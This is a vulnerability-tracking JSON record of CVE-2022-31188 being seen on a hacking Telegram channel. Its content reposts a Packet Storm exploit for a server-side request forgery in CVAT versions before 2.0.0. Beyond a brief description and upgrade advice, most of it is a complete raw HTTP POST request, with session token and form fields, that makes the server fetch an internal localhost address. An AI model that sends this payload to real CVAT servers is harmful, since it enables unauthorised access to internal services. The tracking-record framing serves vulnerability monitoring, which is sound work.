{"uuid": "d3334c00-5b67-4e75-b00d-04873013291b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31188", "type": "seen", "source": "https://t.me/hacking_Attack/76210", "content": "Exploit Collector\nCVAT 2.0 Server-Side Request Forgery\n\nhttps://2.bp.blogspot.com/-U4x-65bW3GQ/WWlvNN9osvI/AAAAAAAAIMY/h5EIQTz5wbsbDMf6z0LfMa0yML4cI035gCLcBGAs/s1600/h21.png \nCVAT version 2.0 suffers from a server-side request forgery vulnerability.\n\nSHA-256 | 73ffdc8cbd20cddc5c30e6639b40f7a33ca517dc70a0e528dc0b60ad3c12a4f2\n\nDownload\n#Exploit Title: CVAT 2.0 - SSRF (Server Side Request Forgery)\n#Exploit Author: Emir Polat\n#Vendor Homepage: https://github.com/opencv/cvat\n#Version: < 2.0.0\n#Tested On: Version 1.7.0 - Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-122-generic x86_64)\n#CVE: CVE-2022-31188\n\n# Description:\n#CVAT is an opensource interactive video and image annotation tool for computer vision. Versions prior to 2.0.0 were found to be subject to a Server-side request forgery (SSRF) vulnerability. \n#Validation has been added to urls used in the affected code path in version 2.0.0. Users are advised to upgrade.\n\nPOST /api/v1/tasks/2/data HTTP/1.1\nHost: localhost:8080\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0\nAccept: application/json, text/plain, */*\nAccept-Language:en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nAuthorization: Token 06d88f739a10c7533991d8010761df721b790b7\nX-CSRFTOKEN:65s9UwX36e9v8FyiJi0KEzgMigJ5pusEK7dU4KSqgCajSBAYQxKDYCOEVBUhnIGV\nContent-Type: multipart/form-data; boundary=-----------------------------251652214142138553464236533436\nContent-Length: 569\nOrigin: http://localhost:8080\nConnection: close\nReferer:http://localhost:8080/tasks/create\nCookie: csrftoken=65s9UwX36e9v8FyiJi0KEzgMigJ5pusEK7dU4KSqgCajSBAYQxKDYCOEVBUhnIGv; sessionid=dzks19fhlfan8fgq0j8j5toyrh49dned\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\n\n-----------------------------251652214142138553464236533436\nContent-Disposition: form-data; name=\"remote files[0]\"\n\nhttp://localhost:8081\n-----------------------------251652214142138553464236533436\nContent-Disposition: form-data; name=\" image quality\"\n\n170\n-----------------------------251652214142138553464236533436\nContent-Disposition: form-data; name=\"use zip chunks\"\n\ntrue\n-----------------------------251652214142138553464236533436\nContent-Disposition: form-data; name=\"use cache\"\n\ntrue\n-----------------------------251652214142138553464236533436--\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:33.939852Z"}